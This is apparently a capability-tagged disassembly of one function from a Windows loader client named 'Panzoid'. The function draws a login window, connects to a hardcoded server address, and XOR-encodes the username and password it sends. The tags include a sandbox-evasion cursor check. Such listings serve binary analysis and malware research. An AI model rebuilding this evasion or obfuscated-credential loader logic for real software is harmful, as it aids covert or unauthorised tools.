Function at 0x14001d2c0
Capabilities:
Check for unmoving mouse cursor
Create process on windows
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d70]
mov eax, 0x1e70
call fcn.14011d180
sub rsp, rax
movaps xmmword [rsp + 0x1e60], xmm6
movaps xmmword [rsp + 0x1e50], xmm7
movaps xmmword [rsp + 0x1e40], xmm8
movaps xmmword [rsp + 0x1e30], xmm9
movaps xmmword [rsp + 0x1e20], xmm10
movaps xmmword [rsp + 0x1e10], xmm11
movaps xmmword [rsp + 0x1e00], xmm12
movaps xmmword [rsp + 0x1df0], xmm13
movaps xmmword [rsp + 0x1de0], xmm14
movaps xmmword [rsp + 0x1dd0], xmm15
mov rax, qword [0x14019d0c0]
xor rax, rsp
mov qword [rbp + 0x1cc0], rax
mov edi, r9d
mov rbx, rcx
call fcn.14006b890
xor edx, edx
mov r8d, 0x228
lea rcx, [rbp + 0x6e0]
call fcn.14014c1f0
lea rcx, [rbp + 0x6e0]
call fcn.14001af50
lea rax, str.142.132.232.203
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], recvfrom
movaps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x6e0]
call fcn.1400017c0
movzx eax, byte [rbp + 0x6e4]
test al, al
jne 0x14001d3c9
lea r8, [0x140160878]
lea rdx, str.failed_to_connect_to_the_the_server..
jmp 0x14001fa5d
lea rcx, [rbp + 0x6e0]
call fcn.14001b730
xor r15d, r15d
mov qword [rbp + 0x520], r15
mov qword [rbp + 0x558], r15
mov dword [rbp + 0x510], 0x50
mov dword [rbp + 0x514], 0x40
lea rax, [0x140065680]
mov qword [rbp + 0x518], rax
mov qword [rbp + 0x528], rbx
lea edx, [r15 + 0x65]
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x530], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0x538], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x540], xmm0
lea rax, str.LoaderClass
mov qword [rbp + 0x550], rax
lea rcx, [rbp + 0x510]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], r15
mov rax, qword [rbp + 0x528]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 0x12c
mov dword [rsp + 0x30], 0x1f4
mov dword [rsp + 0x28], 0x12c
mov dword [rsp + 0x20], 0x1f4
mov r9d, 0x80000000
lea r8, str.Panzoid
mov rdx, qword [rbp + 0x550]
lea ecx, [r15 + 8]
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r12, rax
mov qword [rbp - 8], rax
lea ecx, [r15 + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rcx, rax
mov qword [0x1401a2278], rax
test rax, rax
je 0x14001fa4f
mov qword [0x1401a2290], r15
mov qword [0x1401a229c], r15
mov dword [0x1401a22a4], r15d
mov qword [0x1401a22ac], r15
mov dword [0x1401a22b4], r15d
mov qword [0x1401a22c4], r15
mov ebx, 1
mov dword [0x1401a22b8], ebx
mov dword [0x1401a22a8], ebx
mov dword [0x1401a2298], r15d
mov dword [0x1401a22bc], ebx
mov dword [0x1401a22c0], 0x50
mov dword [0x1401a22cc], ebx
mov rax, qword [rax]
lea rdx, [0x1401a2280]
mov qword [rsp + 0x30], rdx
lea rdx, [0x1401a2290]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x40
mov r9, r12
mov r8d, ebx
xor edx, edx
call qword [rax + 0x80]
test eax, eax
jne 0x14001fa4f
lea ecx, [rbx + 0xf]
call fcn.14011c6c0
lea rcx, [rbp + 0x6e0]
mov qword [rax], rcx
lea rcx, [0x14001b110]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x5e8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x1400221f0]
xor edx, edx
xor ecx, ecx
call fcn.14012e2b4
mov qword [rbp + 0x5e0], rax
test rax, rax
je 0x14001fb5c
cmp dword [rbp + 0x5e8], r15d
je 0x14001fc56
movaps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x220], xmm0
lea rcx, [rbp + 0x220]
call fcn.14011b0dc
test eax, eax
jne 0x14001fc56
xorps xmm0, xmm0
movaps xmmword [rbp + 0x330], xmm0
movdqa xmmword [rbp + 0x5e0], xmm0
lea ecx, [rbx + 0xf]
call fcn.14011c6c0
lea rcx, [rbp + 0x6e0]
mov qword [rax], rcx
lea rcx, [0x1400053a0]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x5d8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x1400221f0]
xor edx, edx
xor ecx, ecx
call fcn.14012e2b4
mov qword [rbp + 0x5d0], rax
test rax, rax
je 0x14001fc44
cmp dword [rbp + 0x5d8], r15d
je 0x14001fc56
movaps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0x230]
call fcn.14011b0dc
test eax, eax
jne 0x14001fc56
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movdqa xmmword [rbp + 0x5d0], xmm0
lea ecx, [rbx + 0xf]
call fcn.14011c6c0
lea rcx, [rbp + 0x6e0]
mov qword [rax], rcx
lea rcx, [0x14002c730]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x5f8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x1400221f0]
xor edx, edx
xor ecx, ecx
call fcn.14012e2b4
mov qword [rbp + 0x5f0], rax
test rax, rax
je 0x14001fc32
cmp dword [rbp + 0x5f8], r15d
je 0x14001fc56
movaps xmm0, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x240], xmm0
lea rcx, [rbp + 0x240]
call fcn.14011b0dc
test eax, eax
jne 0x14001fc56
xorps xmm0, xmm0
movaps xmmword [rbp + 0x350], xmm0
movdqa xmmword [rbp + 0x5f0], xmm0
mov edx, edi
mov rcx, r12
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r12
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1401a2270]
test rbx, rbx
je 0x14001d74a
inc dword [rbx + 0xec]
mov ecx, 0x5e68
call fcn.1401325bc
test rax, rax
je 0x14001d765
xor edx, edx
mov rcx, rax
call fcn.14002f3e0
jmp 0x14001d768
mov rax, r15
mov qword [0x1401a2270], rax
call fcn.140032e60
test rbx, rbx
je 0x14001d780
mov qword [0x1401a2270], rbx
xor ecx, ecx
call fcn.14004f6a0
mov rcx, qword [0x1401a2270]
mov qword [rcx + 0x20], r15
mov dword [rcx + 0x37d8], 0x40800000
mov dword [rcx + 0x37f4], 0x40800000
mov dword [rcx + 0x380c], 0x40800000
movaps xmm0, xmmword [0x14017d0e0]
movups xmmword [rbp + 0x360], xmm0
movups xmmword [rcx + 0x3914], xmm0
movaps xmm1, xmmword [0x14017d0d0]
movups xmmword [rbp + 0x370], xmm1
movups xmmword [rcx + 0x38d4], xmm1
movups xmmword [rbp + 0x380], xmm0
movups xmmword [rcx + 0x39f4], xmm0
movss xmm2, dword [0x14017cde8]
lea rdx, str.c:WindowsFonts_tahoma.ttf
mov rcx, qword [rcx + 0x38]
call fcn.1400541b0
mov rax, qword [0x1401a2270]
lea rcx, [0x1401797c0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r15
movss xmm6, dword [0x14017cdf8]
movaps xmm3, xmm6
mov r8d, 0x1148
lea rdx, [0x14019dd10]
mov rcx, qword [rax + 0x38]
call fcn.1400544d0
mov qword [0x1401a2258], rax
mov rax, qword [0x1401a2270]
movaps xmm2, xmm6
lea rdx, [0x1401608c8]
mov rcx, qword [rax + 0x38]
call fcn.1400541b0
mov qword [0x1401a8a80], rax
mov rax, qword [0x1401a2270]
movss xmm2, dword [0x14017ce00]
lea rdx, str.c:WindowsFonts_segoeuib.ttf
mov rcx, qword [rax + 0x38]
call fcn.1400541b0
mov qword [0x1401a8a78], rax
mov rcx, r12
call fcn.140059430
mov rdi, qword [0x1401a2280]
mov rbx, qword [0x1401a2270]
test rbx, rbx
je 0x14001d8a8
inc dword [rbx + 0xec]
mov ecx, 0x28
call fcn.1401325bc
test rax, rax
je 0x14001d8d6
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov dword [rax + 0x20], 0x1388
mov dword [rax + 0x24], 0x2710
jmp 0x14001d8d9
mov rax, r15
mov qword [rbx + 0x98], rax
lea rcx, str.imgui_impl_dx9
mov qword [rbx + 0x88], rcx
or dword [rbx + 0xc], 8
mov qword [rax], rdi
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
mov esi, r15d
mov dword [rsp + 0x64], r15d
mov r14d, r15d
mov dword [rsp + 0x68], r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6d0], xmm0
xor r13b, r13b
movups xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], r15
mov qword [rbp + 0x618], r15
mov r8d, 9
lea rdx, str.config.pz
lea rcx, [rbp + 0x600]
call fcn.1400016c0
cmp dword [rbp + 0x6b8], 0x12
je 0x14001f817
movzx edi, byte [rsp + 0x60]
movzx ebx, byte [rsp + 0x60]
movss xmm13, dword [0x14017ce4c]
movss xmm12, dword [0x14017ce14]
movss xmm14, dword [0x14017ce3c]
movss xmm10, dword [0x14017cd74]
movss xmm8, dword [0x14017cdcc]
movss xmm11, dword [0x14017cde0]
movss xmm9, dword [0x14017ce5c]
movss xmm15, dword [0x14017ce48]
nop word [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x6b0]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14001da00
lea rcx, [rbp + 0x6b0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x6b0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x14001f7a8
test r13b, r13b
jne 0x14001f7b7
mov rax, qword [0x1401a2270]
test rax, rax
je 0x14001da1e
mov rcx, qword [rax + 0x98]
jmp 0x14001da21
mov rcx, r15
cmp qword [rcx + 0x18], 0
jne 0x14001da44
test rax, rax
je 0x14001da44
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14001da44
cmp qword [rcx], 0
je 0x14001da44
call fcn.140059210
call fcn.140059db0
call fcn.140034fb0
mov rax, qword [0x1401a2270]
mov dword [rax + 0x47d8], 0x43fa0000
mov dword [rax + 0x47dc], 0x43960000
mov ecx, 1
mov dword [rax + 0x47c0], ecx
or dword [rax + 0x47b8], 3
mov qword [rax + 0x47c8], 0
mov qword [rax + 0x47d0], 0
mov dword [rax + 0x47bc], ecx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.14003d920
test al, al
je 0x14001dae7
lea rcx, [rbp + 0x620]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rdx, [rbp + 0x6a0]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowRect]
mov esi, dword [rbp + 0x620]
sub esi, dword [rbp + 0x6a0]
mov dword [rsp + 0x64], esi
mov r14d, dword [rbp + 0x624]
sub r14d, dword [rbp + 0x6a4]
mov dword [rsp + 0x68], r14d
xor edx, edx
mov r8d, 0x12b
lea rcx, str.main
call fcn.14003a350
mov rcx, qword [0x1401a2270]
cmp byte [rcx + 0xe08], 0
je 0x14001db64
movss xmm1, dword [rcx + 0x6c]
mulss xmm1, xmm1
movss xmm0, dword [rcx + 0x3798]
comiss xmm0, xmm1
setae al
test al, al
je 0x14001db64
lea rcx, [rbp + 0x628]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov r9d, dword [rbp + 0x62c]
sub r9d, r14d
mov r8d, dword [rbp + 0x628]
sub r8d, esi
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor edx, edx
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowPos]
cmp dword [rbp + 0x6f8], 8
jne 0x14001db79
lea rcx, str.contact_a_support
call fcn.14005ce40
cmp dword [rbp + 0x6f8], 0
jne 0x14001dc17
mov eax, dword [rbp + 0x700]
cmp eax, 0xffffffff
jne 0x14001dba3
lea rcx, str.connecting...
call fcn.14005ce40
mov eax, dword [rbp + 0x700]
cmp eax, 0x1627
jne 0x14001dbbf
lea rcx, str.internal_client_error.
call fcn.14005ce40
mov r13b, 1
mov eax, dword [rbp + 0x700]
cmp eax, 0x1560
jne 0x14001dbdb
lea rcx, str.please_update_your_client.
call fcn.14005ce40
mov r13b, 1
mov eax, dword [rbp + 0x700]
cmp eax, 0x11d7
jne 0x14001dbf7
lea rcx, str.contact_a_support.
call fcn.14005ce40
mov r13b, 1
mov eax, dword [rbp + 0x700]
cmp eax, 0xcaf
jne 0x14001dc17
lea rcx, str.connected.
call fcn.14005ce40
mov eax, 1
mov dword [rbp + 0x6f8], eax
jmp 0x14001dc24
cmp dword [rbp + 0x6f8], 1
jne 0x14001ea7f
mov rax, qword [0x1401a2270]
or dword [rax + 0x47b8], 1
mov qword [rax + 0x47c8], 0
mov qword [rax + 0x47d0], 0
mov dword [rax + 0x47bc], 1
mov esi, 4
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov eax, dword [rsi + r14]
cmp dword [0x1401a8a88], eax
jle 0x14001dc9c
lea rcx, [0x1401a8a88]
call fcn.14011ca18
cmp dword [0x1401a8a88], 0xffffffff
jne 0x14001dc9c
lea rcx, [0x140152160]
call fcn.14011c924
lea rcx, [0x1401a8a88]
call fcn.14011c9ac
mov eax, dword [rsi + r14]
cmp dword [0x1401a8a8c], eax
jle 0x14001dcd5
lea rcx, [0x1401a8a8c]
call fcn.14011ca18
cmp dword [0x1401a8a8c], 0xffffffff
jne 0x14001dcd5
lea rcx, [0x140152150]
call fcn.14011c924
lea rcx, [0x1401a8a8c]
call fcn.14011c9ac
xorps xmm0, xmm0
movups xmmword [rbp + 0x590], xmm0
mov qword [rbp + 0x5a0], r15
mov qword [rbp + 0x5a8], socket
mov byte [rbp + 0x590], 0
cmp byte [0x1401a2249], 0
jne 0x14001e035
lea rax, [rbp + 0x600]
cmp qword [rbp + 0x618], 0xf
cmova rax, qword [rbp + 0x600]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0xa8], rax
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x250]
call fcn.140067ce0
test al, al
je 0x14001e035
mov rsi, qword [rbp + 0x5a0]
xor r9d, r9d
lea edx, [r9 + 1]
cmp qword [rbp + 0x5a8], 0xf
jbe 0x14001dd86
mov rcx, qword [rbp + 0x590]
movzx r14d, byte [rcx]
movzx r15d, byte [rcx + rsi - 1]
jmp 0x14001dda2
movzx r14d, byte [rbp + 0x590]
lea r15, [rbp + 0x590]
movzx r15d, byte [r15 + rsi - 1]
lea rcx, [rbp + 0x590]
cmp rsi, rdx
cmovb rdx, rsi
add rcx, r9
sub rsi, rdx
mov r8, rsi
sub r8, r9
inc r8
add rdx, rcx
call fcn.14014bb50
mov qword [rbp + 0x5a0], rsi
lea rax, [rbp + 0x590]
mov r9d, 1
cmp qword [rbp + 0x5a8], 0xf
jbe 0x14001ddf3
mov rcx, qword [rbp + 0x590]
mov rdx, rcx
sub rdx, rcx
dec rdx
add rdx, rsi
jmp 0x14001de0b
lea rdx, [rax - 1]
add rdx, rsi
lea rax, [rbp + 0x590]
sub rdx, rax
lea rcx, [rbp + 0x590]
mov rax, rsi
sub rax, rdx
cmp rax, r9
cmovb r9, rax
add rcx, rdx
sub rsi, r9
mov r8, rsi
sub r8, rdx
inc r8
lea rdx, [rcx + r9]
call fcn.14014bb50
mov qword [rbp + 0x5a0], rsi
xor edx, edx
xor r8d, r8d
test rsi, rsi
je 0x14001de7c
test dl, 1
movzx ecx, r15b
movzx eax, r14b
cmovne ecx, eax
lea rax, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0xf
cmova rax, qword [rbp + 0x590]
xor byte [r8 + rax], cl
inc edx
lea r8, [r8 + 1]
movsxd rax, edx
cmp rax, qword [rbp + 0x5a0]
jb 0x14001de41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rax
movups xmmword [rbp + 0x1c0], xmm0
xor r15d, r15d
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], r15
lea r8d, [rax + 1]
lea rdx, [0x1401609b4]
lea rcx, [rbp + 0x1c0]
call fcn.1400016c0
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x460]
call fcn.140007930
lea r8, [rbp + 0x1c0]
mov rdx, rax
lea rcx, [rbp + 0x5b0]
call fcn.1400682b0
mov r14, qword [rbp + 0x5b0]
lea rcx, [0x14019f2f8]
cmp rcx, r14
je 0x14001df54
mov r15, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 0xf
jbe 0x14001df08
mov r14, qword [r14]
mov rax, qword [0x14019f310]
cmp r15, rax
ja 0x14001df3f
mov rsi, rcx
cmp rax, 0xf
cmova rsi, qword [0x14019f2f8]
mov qword [0x14019f308], r15
mov r8, r15
mov rdx, r14
mov rcx, rsi
call fcn.14014bb50
mov byte [r15 + rsi], 0
jmp 0x14001df4a
mov r9, r14
mov rdx, r15
call fcn.14000af00
xor r15d, r15d
mov r14, qword [rbp + 0x5b0]
lea r9, [r14 + 0x20]
lea rcx, [0x14019dcf0]
cmp rcx, r9
je 0x14001dfb8
mov r14, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 0xf
jbe 0x14001df72
mov r9, qword [r9]
mov rax, qword [0x14019dd08]
cmp r14, rax
ja 0x14001dfa9
mov rsi, rcx
cmp rax, 0xf
cmova rsi, qword [0x14019dcf0]
mov qword [0x14019dd00], r14
mov r8, r14
mov rdx, r9
mov rcx, rsi
call fcn.14014bb50
mov byte [r14 + rsi], 0
jmp 0x14001dfb1
mov rdx, r14
call fcn.14000af00
mov r14, qword [rbp + 0x5b0]
mov byte [0x1401a2249], 1
test r14, r14
je 0x14001e035
mov rsi, qword [rbp + 0x5b8]
cmp r14, rsi
je 0x14001dfe8
mov rcx, r14
call fcn.140001e20
add r14, 0x20
cmp r14, rsi
jne 0x14001dfd0
mov r14, qword [rbp + 0x5b0]
mov rdx, qword [rbp + 0x5c0]
sub rdx, r14
and rdx, 0xffffffffffffffe0
mov rax, r14
cmp rdx, 0x1000
jb 0x14001e01b
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001fb6e
mov rcx, r14
call fcn.14011c93c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], r15
mov rcx, qword [0x1401a8a78]
call fcn.14003cd00
mov rax, qword [0x1401a2270]
mov qword [rsp + 0x30], r15
lea rcx, [0x1401609d0]
mov qword [rsp + 0x28], rcx
movss xmm0, dword [0x14017ce94]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14017ce88]
movss xmm2, dword [rax + 0x3c10]
lea rdx, [rbp - 0x80]
mov rcx, qword [rax + 0x3c08]
call fcn.1400572c0
movss xmm0, dword [rbp - 0x80]
addss xmm0, dword [0x14017cd6c]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp - 0x80], xmm1
mulss xmm1, dword [0x14017cd40]
movaps xmm2, xmm13
subss xmm2, xmm1
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm2
movss dword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
lea rcx, [0x1401609c8]
call fcn.14005ce40
call fcn.14003cda0
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x14017ce0c]
addss xmm0, xmm12
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rcx, str.Username
call fcn.14005ce40
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x14017ce10]
addss xmm0, xmm12
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rsi, [0x14019f2f8]
mov qword [rbp + 0x4e0], rsi
mov qword [rbp + 0x4e8], r15
mov qword [rbp + 0x4f0], r15
mov rax, qword [0x14019f310]
lea r9, [rax + 1]
mov r8, rsi
cmp rax, 0xf
cmova r8, qword [0x14019f2f8]
mov qword [rbp - 0x78], 0
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x38], rax
lea rax, [fcn.14005b2a0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x40000
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, str.username
call fcn.1400616d0
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x14017ce20]
addss xmm0, xmm12
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rcx, str.Password
call fcn.14005ce40
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x14017ce30]
addss xmm0, xmm12
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea r14, [0x14019dcf0]
mov qword [rbp + 0x4f8], r14
mov qword [rbp + 0x500], r15
mov qword [rbp + 0x508], r15
mov rax, qword [0x14019dd08]
lea r9, [rax + 1]
mov r8, r14
cmp rax, 0xf
cmova r8, qword [0x14019dcf0]
mov qword [rbp - 0x70], 0
lea rax, [rbp + 0x4f8]
mov qword [rsp + 0x38], rax
lea rax, [fcn.14005b2a0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x48000
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, str.password
call fcn.1400616d0
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x14017ce38]
addss xmm0, xmm12
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
call fcn.14005e5e0
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x14017ce44]
addss xmm0, xmm14
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp - 0x68], 0x430c0000
mov dword [rbp - 0x64], 0x41c80000
lea rdx, [rbp - 0x68]
lea rcx, str.login
call fcn.14005d780
test al, al
je 0x14001e9e8
mov rax, rsi
cmp qword [0x14019f310], 0xf
cmova rax, qword [0x14019f2f8]
mov qword [rbp + 0xb0], rax
mov rax, qword [0x14019f308]
mov qword [rbp + 0xb8], rax
mov rax, r14
cmp qword [0x14019dd08], 0xf
cmova rax, qword [0x14019dcf0]
mov qword [rbp + 0xc0], rax
mov rax, qword [0x14019dd00]
mov qword [rbp + 0xc8], rax
movups xmm0, xmmword [rbp + 0xb0]
movups xmmword [rbp + 0x910], xmm0
movups xmm1, xmmword [rbp + 0xc0]
movups xmmword [rbp + 0x920], xmm1
mov qword [rbp + 0xd0], 0xdd
lea rax, [rbp + 0x910]
mov qword [rbp + 0xd8], rax
lea rax, [0x140160a5c]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 5
movaps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x260], xmm0
movaps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x270], xmm1
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x570]
call fcn.14001abf0
lea rax, [rbp + 0x810]
cmp qword [rbp + 0x828], 0xf
cmova rax, qword [rbp + 0x810]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x820]
mov qword [rbp + 0xf8], rax
lea rax, [rbp + 0x570]
cmp qword [rbp + 0x588], 0xf
cmova rax, qword [rbp + 0x570]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x580]
mov qword [rbp + 0x108], rax
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x280], xmm0
movaps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x290], xmm1
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x280]
xor r8d, r8d
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x120]
call fcn.1400047d0
mov r15, qword [rax + 0x18]
test r15, r15
je 0x14001e645
cmp qword [rax + 0x38], 0
je 0x14001e645
lea r14, [rax + 8]
cmp qword [r14 + 0x18], 0xf
jbe 0x14001e5dd
mov r14, qword [r14]
mov rsi, qword [rbp + 0x6e8]
test rsi, rsi
je 0x14001e63a
test r14, r14
je 0x14001e63a
test r15d, r15d
js 0x14001e63a
cmp qword [rsi + 0x520], 0
je 0x14001e619
mov edx, 8
lea r8d, [rdx - 7]
mov rcx, rsi
call qword [rsi + 0x520]
mov dword [rsi + 0x528], 8
mov r8d, r15d
mov rdx, r14
mov rcx, rsi
call fcn.140091620
mov r12d, eax
test eax, eax
mov eax, 0xffffffff
cmovs r12d, eax
xor r15d, r15d
jmp 0x14001e64b
mov r12d, 0xffffff53
xor r15d, r15d
jmp 0x14001e64b
xor r15d, r15d
mov r12d, r15d
lea rax, [rbp + 0x128]
cmp qword [rbp + 0x140], 0xf
cmova rax, qword [rbp + 0x128]
mov qword [rbp + 0x138], r15
mov byte [rax], 0
lea rax, [rbp + 0x148]
cmp qword [rbp + 0x160], 0xf
cmova rax, qword [rbp + 0x148]
mov qword [rbp + 0x158], r15
mov byte [rax], 0
mov byte [rbp + 0x121], 0xff
lea rcx, [rbp + 0x148]
call fcn.140001e20
lea rcx, [rbp + 0x128]
call fcn.140001e20
cmp byte [0x1401a2248], 0
je 0x14001e953
call fcn.14011b0b4
mov dword [rbp + 0x1cb4], 0xffffffff
mov dword [rbp + 0x934], eax
mov esi, 1
mov edx, esi
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x934], eax
inc rdx
cmp rdx, 0x270
jb 0x14001e6e0
mov dword [rbp + 0x930], 0x270
lea rcx, [rbp + 0x930]
call fcn.140011da0
mov r14d, eax
shl r14, 8
shr r14, 0x20
lea rcx, [rbp + 0x930]
call fcn.140011da0
mov r15d, eax
shl r15, 8
shr r15, 0x20
xor edx, edx
xor r9d, r9d
mov r8, qword [rbp + 0x580]
test r8, r8
je 0x14001e78e
nop dword [rax + rax]
test sil, dl
movzx ecx, r15b
movzx eax, r14b
cmovne ecx, eax
lea rax, [rbp + 0x570]
cmp qword [rbp + 0x588], 0xf
cmova rax, qword [rbp + 0x570]
xor byte [rax + r9], cl
inc edx
lea r9, [r9 + 1]
movsxd rax, edx
mov r8, qword [rbp + 0x580]
cmp rax, r8
jb 0x14001e750
lea r9, [rbp + 0x570]
mov rax, qword [rbp + 0x588]
cmp rax, 0xf
seta r10b
mov rcx, qword [rbp + 0x570]
jbe 0x14001e7b5
mov r9, rcx
mov rdx, rcx
jmp 0x14001e7bc
lea rdx, [rbp + 0x570]
sub r9, rdx
cmp r8, r9
jb 0x14001fb74
sub rax, r8
cmp rax, rsi
jb 0x14001e80e
lea rax, [r8 + 1]
mov qword [rbp + 0x580], rax
